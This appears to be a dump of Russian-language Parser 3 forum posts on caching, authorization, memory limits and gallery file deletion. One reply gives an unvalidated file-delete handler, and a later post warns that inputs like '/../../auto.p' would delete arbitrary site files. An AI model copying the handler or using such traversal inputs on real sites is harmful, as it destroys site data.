Хотя, проверял я все локально и, возможно, в масштабах посещаемости в 300 хостов в день оно и даст прирост в производительности.\
\
Вообщем, нужно будет пробовать. Единственно, я боюсь, что в перспективе это приведет к тому, что мне придеться такой конструкцией:\
[code]^cache[/data/cache/test1](5){\
	...SQL...\
}[/code]\
Обрамлять все SQL-выборки из базы. Хотя, возможно я зря волнуюсь и все так делают. Но у меня, к сожалению, нет примеров (на Parser) оптимизации работы на основе кэшировани и не с чем сравнивать.\
\
Если вы пользуетесь активно кэшированием - поделитесь примерами кода. Буду признателен. У меня это самое слабое место.\
\
Я сейчас пока на перспективу планирую использовать [url=\"http://code.google.com/p/web-optimizator/\"]Web Optimizer[/url] (когда авто проекта добавть возможность его использования не только в PHP-сайтах)."
"69594","э-э-э, а вы в курсе, что ^cache кеширует только _текст_, он не может кешировать другие парсерные объекты, т.к. скешировать sql запрос вим возможно только в случае, если это ^[string|int|double]:sql ?\
\
как я уже упоминал, скешировать запросы (часть) можно используя SQL классы из примеров. операция по \"установке\" классов тупая до безобразия и фактически представляет собой global replace.\
\
понятно, что кешировать всё нельзя, но даже если скешировать лишь тяжёлые запросы (о которых вам поведает сам класс после установки), возможно серверу уже станет легче.\
\
\
[quot]\
Пока это единственный выход\
\
Однако, реализую я его не скоро, т.к. нужно хорошо продумать процесс, а полностью переключиться с текущих проектов не получаеться.\
[/quot]\
\
вообще подход очень \"интересный\".\
у клиента проблема, а вместо её решения лишь разговоры разговариваются и не делается ничего, хотя простые шаги по улучшению ситуации лежат на поверхности."
"69595","Поскольку он кеширует соединения к базам..."
"69596","Работа парсера в данном заключается в передаче запроса на сервер\
и печати ответа от него (никаких связанных переменных нет,\
результата нет). Так что вопрос получается по SQL синтаксису \
MS Access, который здесь мало кто использует. Читайте доки - может\
дату иначе надо передавать, может кавычки не той системы."
"69597","[quote]как я уже упоминал, скешировать запросы (часть) можно используя SQL классы из примеров. операция по \"установке\" классов тупая до безобразия и фактически представляет собой global replace.[/quote]\
Пробовал. Получилось не очень. В примере я указал [b]^cache[/b] ошибочно, т.к. делал давно и уже забыл его ограничения.\
\
[quote]вообще подход очень \"интересный\".\
у клиента проблема, а вместо её решения лишь разговоры разговариваются и не делается ничего, хотя простые шаги по улучшению ситуации лежат на поверхности.[/quote]\
Проблему пока решил параметр [b]timeout[/b] (по крайней мере, ошибки пока пропали). А насчет проблем у клиента - он пока сам обозначил другие приоритеты. Насчет простых шагов - возможно. Все может казаться сложным пока не попробуешь."
"69598","наверное многие видели как сделано на народ.диске, когда файл заливаешь, то каждую секунду видно сколько мегабайт уже загружено.\
как такое отслеживание можно осуществить на парсере?"
"69599","Третий пункт из того сообщения - на парсере не реализовать. Но можно написать perl (php) скрипт, который будет и аплодить файл и выдавать размер того, что уже загрузилось."
"69600","жаль, что парсерные учёные ещё не изобрели такую способность :("
"69601","Ничто не мешает взять и прикрутить это к парсеру."
"69602","http://digitarald.de/project/fancyupload/"
"69603","Да кстати. Один из не многих форумов, где очень терпимы к глупым вопросам."
"69604","<div>\
^if(def $form:login && def $form:password){  \
           ^if( $form:login eq логин){\
		^if($form:password eq пароль){\
 	        <script language=\"JavaScript\">\
 	           window.location.href = \"http://куда-надо.ru\"\
 	        </script> 	       \
 	      }{\
                не верно введен логин или пароль\
	      }\
	}{\
	 ^if( $form:login eq логин){\
		 }{\
		 не верно введен логин или пароль\
		 }\
	}	\
	\
}{\
   Введите логин и пароль\
}\
</div>\
Вот  такую сделал форму, а как теперь сделать чтоб с при вводе прямого адреса \"http://куда-надо.ru\", пользователь попал только через эту страницу с паролем?"
"69605","Не логичнее эту форму на ней (http://куда-надо.ru) и показывать?\
и заместо\
\
[code]<script language=\"JavaScript\">\
window.location.href = \"http://куда-надо.ru\"\
</script>[/code]\
\
выводить то, что нужно показать, в случае успешной авторизации.\
\
P.S.\
В парсере есть возможность указать заголовки:\
[code]$response:refresh[]\
$response:location[][/code]\
\
P.P.S.\
А ещё есть Apache Auth (http://httpd.apache.org/docs/1.3/howto/auth.html#basic)\
и Мишин класс авторизации в примерах."
"69606","не устанавливал их авторизации, читал темы, но мне нужно просто закрыть 2-3 страницы, чтоб доступ был только для 3х человек, не думаю что надо использовать скрипты авторизации... \
\
да, подумал чтоб использовать ее на http://куда-надо.ru ,\
но уже после того как написал сообщение... но, опятьтаки, если использовать на 2й, 3й странице, снова форма? может есть более изящный метод?"
"69607","[quote]не думаю что надо использовать скрипты авторизации.[/quote]\
А что же вы хотите, тогда?\
\
Если эти 3 страницы в одном разделе (напр. /private/) - проще авторизацию апача использовать.\
\
Если нет - то, безусловно, на всех страницах (как минимум на тех трех) должна присутствовать авторизация. Выносите авторизацию в метод (как вариант, в auto.p), принимающий $form:fields и возвращающий bool.\
\
Затем на приватных страницах:\
\
[code]\
^if(^isAuth[$form:fields]){\
 Показываем то, что нужно\
}{\
 Показываем форму\
}\
[/code]\
\
Правильнее сделать класс авторизации и работать с объектом. Но это уже есть в Мишином классе - берите и используйте."
"69608","Я совсем новичок в программирование, если не еще ниже рангом, я недопонимаю процесс подключения и использования классов Миши.\
Я правильно понял, что в главный(корневой) auto.p нужно подключить через  @USES все \
[code]\
@USES\
/auth.p\
/AUserType.p\
/ACL.p\
...\
[/code]\
а так же oSql, которые скачены по ссылке что он дает, в моем случае я использую mysql, значит мне надо подключить \
[code]\
...\
MySql.p\
MySqlComp.p\
Sql.p\
SqlInfo.p\
SqlLog.p\
[/code]\
[quote]Для того, чтобы создать необходимые для работы класса авторизации таблички в БД выполните соответствующие скрипты.[/quote]\
\
Скриптами, как я понял, он называет файлы html, вложенные в архив?\
\
[quote]Теперь все готово для использования класса авторизации, который не забываем подключить (в комплекте есть тестовые файлы с примерами типовых операций).[/quote]\
подключить как? \
Все в том же корневом auto.p сделать форму и в нее засунуть методы, описанные в auth.p?\
\
сегодня я еще ничего не подключал, уже поздно, голова болит, оставил на завтра, но очень прошу, может хоть начальные \"пенки\" дадите, я очень много читаю.. распечатал pdf-формат Документации, и ношусь с ним по городу... что-то понято, а что-то такие дебри, только яндекс спасает, да википедия)"
"69621","Возможно ли это вообще!?\
\
Вообщем проблема такая:\
\
Создана очень простая галерея с небольшим использованием парсера:\
index.html:\
@body_additional[]\
[code]Добавление фотографий\
<form method=\"post\" enctype=\"multipart/form-data\" action=\"index.html\"> \
   <table><tr><td><input type=\"file\" name=\"pict\"></td><td>\
   <input type=\"submit\" value=\"Загрузить\"></td></tr></table>\
</form>\
#Начало добавления		\
^if(def $form:pict){		\
$source_path[/photos/image/]\
$extension[^file:justext[$form:pict.name]]\
$image_name[^file:basename[$file]]\
^if(!^images:save[$form:pict;$source_path;$image_name;$format]){\
		$image_name[${image_name}.$format]\
	^if(!$status){\
		^rem{ *** Всё ок *** }\
$response:refresh[ \
$.value(0) \
$.url[index.html] \
] \
\
	}{\
		^rem{ *** Возникла ошибка *** }\
		$status\
	}\
}\
}\
\
body_main[]\
^photos[]\
[/code]\
\
Вообщем там есть ещё \
[code]@USE\
/classes/images.p[/code]\
\
Но это не так уж и важно, ибо проблема сейчас не в этом. Загружаются фотографии на сервер нормально.\
Проблема в следующем:\
\
Как мы видим фотографии загружаются в каталог /photos/images/\
А затем извлекаются примитивнейшим образом:\
\
фрагмент auto.p:\
[code]\
$f[^file:list[/photos/image/]]\
[/code]\
\
Ну, понятно, да? далее в auto.p:\
[code]\
@photos[]\
^f.menu{\
^preview_cell[]\
}\
<br>\
@preview_cell[]\
<a href=\"/photos/image/$f.name\" rel=\"lyteshow[blabla]\"><img style=\"margin-bottom:5px;\" height=\"70\" src=\"/photos/image/$f.name\" border=\"0\"></a>\
[/code]\
\
Тут через rel подключается lyteshow галерея с ajax, но это не важно, короче работает тут всё хорошо, как и надо.\
\
Надо создать такую штуку:\
Чтобы после каждой\
[code]\
<a href=\"/photos/image/$f.name\" rel=\"lyteshow[blabla]\"><img style=\"margin-bottom:5px;\" height=\"70\" src=\"/photos/image/$f.name\" border=\"0\"></a>\
[/code]\
была ссылка на удаление этой фотографии.\
\
Пробовал\
[code]\
<a href=\"^file:delete[$f.name]\">Удалить</a>\
[/code]\
-Удаляет все, причём даже без нажатия на ссылку.\
\
[b]Как сделать так, чтобы каждая ссылка удаляла \"свою\" картинку[/b]"
"69622","общий принцип такой:\
[code]<a href=\"?delete=$f.name\">Удалить</a>[/code]\
\
а где-нибдуь повыше:\
[code]^if(def $form:delete && -f '/photos/image/$form:delete'){\
	^file:delete[/photos/image/$form:delete]\
}[/code]\
\
а дальше сами..."
"69623","Всё работает.\
Сам два дня сидел, до такого не додумался :)"
"69632","В заголовке данные по Мастерхосту, тариф \"оптимальный\".\
На локальной машине (AMD X2 64 3200, WinXP) - utime = 0.28, maxrss = 7600"
"69633","Вешаюсь уже, не понимаю как определить соединение с SQL в авторизации Миши.\
Скопировал все файлы в  /Classes/ из архивов auth.zip у миши, и Sql.zip, от него же. Так же нашел и добавил Erusage.p.\
Во всех файлах, где было @Use, указал пути к подключаемым файлам.\
 \
пытаюсь зайти на страницу /_auth_forgot.html\
пишет ошибку в логе:\
/home/minibara/parfumadmin/CLASSES/Sql.p(31:10): '$sConnectString must be specified.' <no comment> [MySql] [uri=/CLASSES/_auth_forgot.html, method=GET, cl=0]\
\
\
Как мне определить коннект к базе данных? в каком из файлов надо указать? MySql.p, Sql.p? там в @auto[]:\
\
[code]$sClassName[MySql]\
$sServerName[MySql]\
$sQuoteCharDefault[`]\
$server_name[mysql][/code]\
и\
[code]$sClassName[Sql] \
$sQuoteCharDefault[][/code]\
\
как тут указывать коннет к базе?? \
$connect_string[mysql://root:1234@localhost/p3test]"
"69634","Лениво лезть туда и смотреть.\
\
[code]^use[mysql.p]\
\
$SQL.connect-string[mysql://...]\
\
$oSQL[^mysql::init[$SQL.connect-string]]\
\
$oAuth[^auth::init[;$form:fields][\
	$.csql[$oSQL]\
]][/code]\
\
Если это нужно везде — вписывается в auto.p, чтобы было доступно глобально.\
Если нет: лучше иметь глобальный $oSQL, а $oAuth инициализировать там, где необходимо."
"69636","Можно в $form:delete передать:\
[code]/../../index.html[/code] либо [code]/../../auto.p[/code]\
\
И будет спокойно выполнено что-то типа:\
[code]\
^file:delete[/photos/image/../../auto.p]\
[/code]\
\
Может поработать с названием файла? К примеру с помощью regexp проверить на содержание слешей \"[b]/[/b]\""
"69637","Примерно так:\
[code]\
@SET_DEFAULT[strName;altData]\
  ^if(^isValidName[$strName]){\
    $self._$strName[$altData]\
\
    ^process{\
       ^$result[^self._$strName]\
    }[\
      $.main[GET_$strName]\
    ]\
  }{\
     ^throw[Недопустимо создание данного поля!]\
   }\
[/code]\
\
Разумеется можно это решить и созданием метода:\
[code]\
@set[strName;altData]\
[/code]\
\
Просто в данном случае первый метод по мне выглядит в стиле Парсера."
"69639","однако перед выпуском прошлой версии при реализации default-сеттера возникли проблемы, поэтому версия была выпущена без него.\
\
а сейчас есть другие, более важные вещи (возможно когда-то руки дойдут и до него). патч, понятное дело, с удовольствием примем :)"
"69641","Т.к. пока на C++ я еще не перешел программировать, патч не смогу прислать. :-)\
\
Миша, если конечно не столь засекречено все, то можно было бы написать \"более важные вещи\", которые ожидать в новой версии Парсера?"
"69643","ничего засекреченого нет, можете build Changelog из того, что уже закомичено в head и посмотреть.\
\
думаю скоро выложу первую бету, хотя обещать не буду :)\
\
\
P.S. btw, кое что про новые фичи я пишу в чате."
"69644","Перечитал все треды по этой проблеме - не помогает. Тариф [i]Эффективный [/i]на мастерхосте, памяти больше не дают.\
\
Код примерно такой.\
\
[code]\
\
$tLyrics[^table::create{value	option\
0	Отсутствует}]\
^tLyrics.join[^table::sql{select id as 'value', title as 'option' from $sTItems1 where type_id = 1 order by title}]\
\
$tChords[^table::create{value	option\
0	Отсутствуют}]\
^tChords.join[^table::sql{select id as 'value', title as 'option' from $sTItems1 where type_id = 2 order by title}]\
\
$tL[^table::sql{select id, title, uuid, spoiler, sequence from $sTTypes2 where item_id = $iId order by sequence}]\
^tL.menu{\
	$tI[^table::sql{select id, uuid, title, sequence, video, lyrics_id, chords_id from $sTItems3 where list_type_id = $tL.id order by sequence asc}]\
	^if(def $tI){\
	    ^FORM:draw[\
		^FORM:hidden[$.name[action] $.value[edit_list_items]]\
		^FORM:hidden[$.name[list_type_id] $.value[$tL.id]]\
		<table width=\"100%\">\
		<tr>\
			<td><b>№</b></td>\
			<td align=\"center\">^i[$adminBase/images/delete.gif]</td>\
			<td><b>Файл</b></td>\
			<td><b>Название</b></td>\
			<td><b>Видео</b></td>\
			<td><b>Текст</b></td>\
			<td><b>Аккорды</b></td>\
			<td align=\"center\">^i[$adminBase/images/delete.gif]</td>\
		</tr>\
			^tI.menu{\
				<tr>\
					<td>\
						^FORM:text[$.name[sequence$tI.id] $.size[2] $.value[$tI.sequence]]\
					</td>\
					<td>\
						^if(-d '$sFilesPath/$tI.uuid'){\
							<br />\
							^FORM:checkBox[$.name[delete_file$tI.id]]\
						}\
					</td>\
					<td>\
						^FORM:file[$.name[file$tI.id]]\
					</td>\
					<td width=\"40%\">\
						^FORM:text[$.name[title$tI.id] $.value[$tI.title]]\
					</td>\
					<td width=\"40%\">\
						^FORM:text[$.name[video$tI.id] $.value[$tI.video]]\
					</td>\
					<td width=\"10%\">^memory:compact[]\
						^FORM:select[$.name[lyrics$tI.id]$.options[$tLyrics]$.selected[$tI.lyrics_id]]\
					</td>\
					<td width=\"10%\">^memory:compact[]\
						^FORM:select[$.name[chords$tI.id]$.options[$tChords]$.selected[$tI.chords_id]]\
					</td>\
					<td>\
						<br />\
						^FORM:checkBox[$.name[delete_item$tI.id]]\
					</td>\
				</tr>\
			}\
		</table>\
		^FORM:submit[$.value[Сохранить]]\
	    ]\
	}\
}\
\
[/code]\
\
[i]FORM [/i]это класс для отрисовки форм. [i]@FORM:select[][/i] это метод, который рисует выпадающий список, в качестве [i]$.options[][/i] передаётся таблица с парами value/option. Собственно, если закомментировать 1 из селектов, то памяти хватает, однако, если [i]^tL.count[] > 3[/i] - всё равно падает. Все переменные объявлены локальными во всех используемых методах, перепроверял.\
\
Что посоветуете?"
"69645","Памяти парсеру не хватает.\
Попробуйте сделать JOIN для $sTTypes2 и $sTItems3, чтобы не было лишних выборок из $sTItems3\
Проверьте, начинается ли ключ в этих таблицах с поля sequence"
"69646","[code]$tI[^table::sql{select id, uuid, title, sequence, video, lyrics_id, chords_id from $sTItems3 where list_type_id = $tL.id order by sequence asc}][/code]\
—>\
вынести из .menu,\
[code]$tI[^table::sql{select id, uuid, title, sequence, video, lyrics_id, chords_id, list_type_id from $sTItems3 where list_type_id IN (^tL.menu{$tL.id}[,]) order by sequence asc}]\
$hI[^tI.hash[list_type_id][$.type[table] $.distinct(true)]]\
^tL.menu{\
	$tI[$hI.[$tL.id]]\
	...\
}\
[/code]\
\
Но, в целом, не думаю, что этот код даёт серьёзную нагрузку.\
Хотя, если количество доставаемого из БД велико — может быть."
"69647","с чего вы взяли, что проблема именно в этом месте (я ничего криминального в нем не вижы, правда заставляет задуматься ^FORM:file[...])? она может быть где угодно: возможно вы раньше (или позже) делаете что-то очень неоптимально и в результате ходите по грани, из-за чего и начинает всё работать при небольшом убавлении кода.\
\
т.е. ничего конкретного, глядя на этот кусок кода, порекомендовать невозможно (а втыкать compact-ы так, как это делаете вы -- бессмысленно).\
\
\
что делать: \
- посмотреть вообще на расход памяти (эту самую глвную цифру вы и не привели), а также на память, выделенную вам хостером (вдруг заявлена одна цифра, а в реалиях она меньше, например кто-то ошибся, устанвливая лимит?). искать где в вашем используется много памяти (втыкать rusage в checkpoint-ы).\
\
- подключать классы по мере использования (^if(...){^use[...]}). понятно, что это актуально для больших классов, которые используются редко.\
\
- структурировать код, чтобы убрались лишние пробельные символы (отступы). они (пробельные символы) -- накапливаются, а оптимизируются лишь в самом конце, перед выдачей результата.\
\
- если файлы храните в UTF-8, то возможно стоит перейти к 1251, т.к. это снижает расход памяти.\
\
- использовать явный result декларацию его в списке локальных переменных, где это возможно (с head версией это также позволит сэкономить память).\
\
- попробовать head версию, в которой делались и делаются оптимизации, в том числе снижающие расход памяти (без использования compact снижение существенное, при использовании оно сильно меньше). понятное дело, что работоспособность не гарантируется :)"
"69648","Этот вариант тоже есть, сделал его как только появилась ошибка :) Не помогло.\
\
В $tL максимум 4 строки. В $tI для каждой записи $tL может быть от 0 до 50 строк."
"69649","[code]###############################################################################\
@file[hash]\
<div style=\"padding: 0 0 1em 0;\">\
	^if(def $hash.title){$hash.title<br />}\
	<input type=\"file\" name=\"$hash.name\" class=\"file\">\
</div>\
#end @file[][/code]\
\
На остальное щас отвечу."
"69650","Это место я определил просто экспериментально: конечно может просто становится кода меньше. Компакты забыл убрать, щас их нет. До этого только определение языка админки, подключение пары классов, один из которых FORM, есть ещё Lib, но ничего тяжёлого и криминального. Потом просто отрисовка по шаблону.\
\
[code][Tue Apr 28 14:37:16 2009] [39125] out of memory: failed to allocate clean 847968 bytes. heap_used=60723200, heap_free=12288, bytes_since_gc=54890464, total_bytes=79050528 [uri=/admin/work/?type=4&id=19, method=GET, cl=0][/code]\
\
Весь код структурирован ) Я грязный педант.\
\
Файлы в 1251.\
\
Result везде есть в локальных переменных, где нужен.\
\
Head версию не ставил, ставил 3.3.0 - не помогло."
"69651","Дальше по коду вот это, так что родилось временное решение:\
\
[code]\
			^for[i](1;[b]10[/b]){\
				<tr>\
					<td>\
						^FORM:text[$.name[sequence$i] $.size[2] $.value[^eval(^if(def $tI){^eval(^tI.count[])} + $i)]]\
					</td>\
					<td>\
						^FORM:file[$.name[file$i]]\
					</td>\
					<td width=\"40%\">\
						^FORM:text[$.name[title$i]]\
					</td>\
					<td width=\"40%\">\
						^FORM:text[$.name[video$i]]\
					</td>\
					<td width=\"10%\">\
						^FORM:select[$.name[lyrics$i] $.options[$tLyrics]]\
					</td>\
					<td width=\"10%\">\
						^FORM:select[$.name[chords$i] $.options[$tChords]]\
					</td>\
				</tr>\
			}[/code]\
\
Сделал:\
[code]^for[i](1;[b]5[/b])[/code]"
"69652","[quote]\
heap_used=60723200\
total_bytes=79050528\
[/quote]\
\
что-то у вас ну очень нехорошее в коде. \
никто кроме вас найти этого не может.\
цифру ограничения вы так и не озвучили.\
используемую версию парсера -- тоже.\
\
\
[quot]\
Весь код структурирован\
[/quot]\
\
почему-же в форуме тогда приводите иное? я ориентировался на то, что вы привели. там в одном методе и доставание данных и циклы и вывод. при этом, вывод в циклах находится с огромными отступами-форматирования (вот просто если этот вывод вынесете в отдельный метод -- уже на куче пробелов/ентеров сэкономите, правда в свете приведённых цифр использованной памяти это все мелочь).\
\
\
[quot]\
Head версию не ставил, ставил 3.3.0 - не помогло.\
[/quot]\
\
нда. а я разве где-то говорил про 3.3.0? с таким-же успехом можно было-бы сказать что 3.0.0007 ставил и не помогло."
"69654","bytes_since_gc=54890464 говорит о том, что после последнего\
^memory:compact[] была потрачена куча памяти. Или искать\
где, или действительно использовать head версию,\
где потребление памяти по мере исполнения существенно уменьшено."
"69655","Миша, ограничение на мастерхосте, я думаю, 50-60 Мб. Приведённый код не содержит только 2 IF, от которых осталось несколько отступов. Этим мусором, в сравнении с 42 Мб отжираемой памяти (SIC!) можно пренебречь. Это и есть отдельный метод @List[].\
\
Вот метод @select[] в классе FORM.\
\
[code]\
@select[hash][sSelected]\
^if(def $hash.title){$hash.title&nbsp^;^if($hash.withBreak){<br />}}\
<select name=\"$hash.name\" size=\"1\" id=\"$hash.name\" onchange=\"$hash.onchange\">\
	^hash.options.menu{<option value=\"$hash.options.value\"^if(def $hash.selected){^if($hash.options.value eq $hash.selected || ^hash.options.value.double(0) == ^hash.selected.double(1)){selected=\"selected\"}}>$hash.options.option</option>}\
</select>\
[/code]\
\
Если закомментировать строку \"^hash.options.menu...\" памяти затрачивается 4 Мб против прежних 42-х."
"69656","http://www.parser.ru/forum/?id=69655"
"69657","Хочу на сайте определить, что пользователи вводят не так при регистрации. Пользую status. В рамках класса auth и его наследников все Ok, а за переделами, $auth.status всегда 0. что я делаю не так?\
Это странность auth.1.67.zip (я пока использую ее) или так работает и в текущей версии?\
\
У меня экземпляр класса создается через дочерний класс (там переопределены некоторые методы) один наз в auto.p и передается всем классам через сборщик страницы."
"69658","Считываю отдельным методом последнюю ошибку из aevent_log:\
[code]\
@lastStatus[]\
$result(^csql.int{\
	SELECT\
		stat\
	FROM\
		aevent_log\
	WHERE\
		aevent_log_id\
	ORDER BY\
		aevent_log_id DESC\
}[$.limit(1)](0))\
[/code]"
"69659","я сомневаюсь, что у вас там 38 МБ option-ов. т.е. или вы что-то путаете и недопроверили, или имеет место быть баг парсера, которых хорошо-бы выделить в чистом виде и прислать (но по поводу последнего я как-то сомневаюсь, т.к. menu -- очень распространённая конструкция, и наверняка уже он вылез-бы у кого)."
"69661","В первый селект вынимается в качестве option 52 строки, во второй 27 - там id/title, title не больше 10-20 символов.\
\
Вечером попробую изолировать проблемное место и посмотреть расход памяти."
"69662","Вопрос. При обращении к полностью настроенному web-ресурсу, браузер выводит ошибку:\
\
Server error!\
\
The server encountered an internal error and was unable to complete your request.\
\
Error message:\
\
Premature end of script headers zapstal.parser3.cgi\
\
........\
\
\
Не подскажите в чём может быть проблемма?"
"69664","Узнайте и скачайте правильную версию.\
\
http://www.parser.ru/download/"
"69667","подсказать не подскажу (очень давно в него не лазил и не делал на его основе ничего нового), однако помню, что у меня таких проблем не было.\
\
в новых версиях, насколько я помню, status не возвращается, а бросается exception, который ловится и изучается."
"69668","Заглушка плохая - не спорю. Потому и заглушка, а не решение.\
Проблем небыло - верю, отсмотрел форум и не видел, что-бы у кого возникал такой вопрос. Сам пока не разобрался в чем косяк.\
\
Новая версия плохо совместима со старой и я пока не берусь переходить на нее, т.к. слишком много завязано. В отпуске, надеюсь, время будет. Может тогда и вместо \"заглушке\" появится нормальное решение."
"69670","и обычно, задача (в вашем случае -- проблема) имеет несколько решений.\
\
одно -- найти то место в коде, которое вызывает проблему, изолировать (или исправить), сделать воспроизводимый bug.zip, прислать нам и надеяться, что мы достаточно оперативно это пофиксим.\
\
второе -- собрать parser из head и попробовать (вам уже ни раз предлагали этот вариант, и на мой взгляд он требует существенно меньше усилий, чем вариант 1. cvs login, cvs checkout, cd, buildall)."
"69671","ага, \"решение\"...\
\
такие \"решения\" ПАФ называл: \"увидев проблему поставить на неё сверху пепельницу\""
"69672","Не спорю. Но когда мне сыпят на голову матом, а я понять не могу, почему такая штука вылезла впервые у меня, но делать надо, то я выбираю поставить пепельницу, дабы хоть что-то заработало.\
\
Багзип сделаю."
"69676","[b]Вот код:[/b]\
\
[code]###############################################################################\
@main[]\
^rusage[]\
^method[]\
^rusage[]\
#end @main[]\
\
\
\
###############################################################################\
@method[][t1;t2]\
$t1[^table::create{value	option\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
1	not null}]\
\
$t2[^table::create{value	option\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
0	null\
1	not null}]\
\
^for[i](1;10){\
	^select[\
		$.options[$t1]\
		$.selected[1]\
	]\
	^select[\
		$.options[$t2]\
		$.selected[1]\
	]\
}\
#end @method[]\
\
\
\
###############################################################################\
@select[hash]\
$result[\
	<select>\
		^hash.options.menu{\
			<option value=\"$hash.options.value\"^if($hash.options.value eq $hash.selected || ^hash.options.value.double(0) == ^hash.selected.double(1)){ selected=\"selected\"}>\
				$hash.options.option\
			</option>\
		}\
	</select>\
]\
#end @select[]\
\
\
\
###############################################################################\
@rusage[comment][v;now;prefix;message;line;usec]\
$v[$status:rusage]\
$now[^date::now[]]\
$usec(^v.tv_usec.double[])\
$prefix[[^now.sql-string[].^usec.format[%06.0f]] $env:REMOTE_ADDR - $comment>]\
$message[clean($v.utime)	read($v.stime)	memory($v.maxrss)	readCount($v.ReadOperationCount)	writeCount($v.WriteOperationCount)	peak($v.PeakPagefileUsage)	3($request:uri)]\
$line[$prefix $message ^#0A]\
^line.save[append;/rusage.log]\
$result[]\
#end @rusage[][/code]\
\
[b]Вот лог:[/b]\
\
[code][2009-05-02 22:54:12.308336] 1.1.1.1 - > clean(0.004889)	read(0.014667)	memory(39712)	readCount()	writeCount()	peak()	3(/test/)  \
[2009-05-02 22:54:12.321358] 1.1.1.1 - > clean(0.022389)	read(0.016791)	memory(39712)	readCount()	writeCount()	peak()	3(/test/) [/code]"
"69677","У кого-нибудь был такой [url=\"http://rabbitstudio.ru/temp/memory.jpg\"]расход памяти[/url]?\
\
Код уже исправил, но вроде было из-за зацикливания while внутри другого while. Естественно виноват я и ошибка моя, но разве в таких случаях не должен быть Unhandled exception?"
"69679","win32 (3.3.0):\
[2009-05-03 08:13:52.134500] 127.0.0.1 - > clean(0.09375)	read(0.03125)	memory(6596)	readCount(18)	writeCount(0)	peak(4456)	3(/_/z.html) \
[2009-05-03 08:13:52.165750] 127.0.0.1 - > clean(0.125)	read(0.03125)	memory(7808)	readCount(18)	writeCount(1)	peak(6564)	3(/_/z.html) \
\
\
linux (3.3.0):\
[2009-05-03 02:17:52.474807] 122.111.19.132 - > clean(0.014784)	read(0)	memory(3024)	readCount()	writeCount()	peak()	3(/_z.html) \
[2009-05-03 02:17:52.483784] 122.111.19.132 - > clean(0.023387)	read(0)	memory(3820)	readCount()	writeCount()	peak()	3(/_z.html) \
\
\
P.S. уже даже интересно стало: расскажете вы в конечном счёте, что у вас за парсер + ОС или это страшный секрет?\
P.P.S. попробуйте этот код с версией 3.2.1 и посмотрите, будет ли разница с использованной памяти?"
"69680","http://teethgrinder.co.uk/open-flash-chart-2/\
\
Средствами парсера рисовать графики весьма непросто и неудобно. Яваскриптовые графики в качественном исполнении мне не попадались.\
\
Здесь же предлагается готовый Flash весом 270 кб который способен отображать любые графики. \
\
Очень гибко настраивается, подробнейший туториал.\
\
P.S. Если у кого имеются на примете другие интересные варианты, дайте знать в этом треде. Закроем раз и навсегда эту тему :)"
"69681","Что за код. Мы же не телепаты."
"69682","Спасибо за найденое решение )"
"69683","Но сам факт такого зависания меня удивил."
"69684","Немного пользовал — удобный."
"69685","Пытаюсь добавить в description еще символов, а парсер выдает ошибку:( Спрашиваю у программиста, который нам сайт писал, он не в курсе, может кто подскажет: есть ограничение в парсере по числу символов в title, description, keywords?"
"69687","Не секрет, конечно. Забыл чё-то сказать: Парсер 3.2.3 под FreeBSD 6."
"69688","[2009-05-03 17:31:57.280853] 62.176.15.3 - > clean(0.011679)	read(0.011679)	memory(5128)	readCount()	writeCount()	peak()	3(/test/) \
[2009-05-03 17:31:57.318506] 62.176.15.3 - > clean(0.025349)	read(0.011679)	memory(5128)	readCount()	writeCount()	peak()	3(/test/) \
[2009-05-03 17:32:14.811377] 62.176.15.3 - > clean(0.0144)	read(0.0072)	memory(11912)	readCount()	writeCount()	peak()	3(/test/) \
[2009-05-03 17:32:14.825371] 62.176.15.3 - > clean(0.02134)	read(0.014227)	memory(11912)	readCount()	writeCount()	peak()	3(/test/) \
[2009-05-03 17:32:19.653183] 62.176.15.3 - > clean(0.014406)	read(0.007203)	memory(6856)	readCount()	writeCount()	peak()	3(/test/) \
[2009-05-03 17:32:19.666804] 62.176.15.3 - > clean(0.026425)	read(0.008808)	memory(6856)	readCount()	writeCount()	peak()	3(/test/)"
"69690","если свою, то на какой OS собирали парсер? 6.x?\
\
если на 4.x, то точно у вас внутри этого select нет ^таблица.save[]? мы обнаружили, что использованный нами в последних версиях для сохранения таблицы stringstream очень сильно тормозит на freebsd 4.x (расход памяти не смотрели), поэтому в configure есть закомментированная опция --disable-stringstream, которую нужно раскомментировать при сборке на freebsd 4.x.\
\
на 6.x всё работает как задумано. как обстоят дела на 5.x мы не знаем, т.к. не проверяли. однако если это ваш случай, и у вас есть ^таблица.save[] -- пересобирите парсер, раскомментировав эту опцию (при этом сохранение таблице станет работать также, как оно работало в 3.2.1 и раньше)."
"69691","почему я предложил пример именно флешевый, потому что меня всегда впечатляли графики гугл-аналитикс.\
\
А в апи-чартс на выходе статичная картинка :("
"69692","http://www.amcharts.com/\
+ их-же проект - Flash-карты:\
http://www.ammap.com/"
"69693","Внутри селектов [i]^save[][/i] нет. Код привожу 1 в 1."
"69694","Начальное значение memory(39712), и в процессе видно что никак не меняется.\
Если этому числу верить, то получается, что память была потрачена до (например в auto.p).\
\
Посмотреть, сколько памяти потратилось на конкретный кусок кода можно через $status:memory.used\
\
На текущей версии парсера где-то так:\
gc_memory(272) - до\
gc_memory(756) - после"
"69695","Возможно уже кто-то писал, но все же попробуем задать вопрос. Может кто уже решился на сие? Или может хотябы кто уже сделал расцветку под Parser 3 для Eclipse?"
"69696","хочу вывести список комментов, в которых присутствуют смайлы.\
смайлы эти оформляются примерно так [code]<img src=\"/images/smilies/lol.gif\" alt=\"XD\" />[/code]\
т.е. код идёт в тексте. и я беру и обрезаю этот текст [code]^taint[^[b]текст[/b].left(50)][/code] таким способом.\
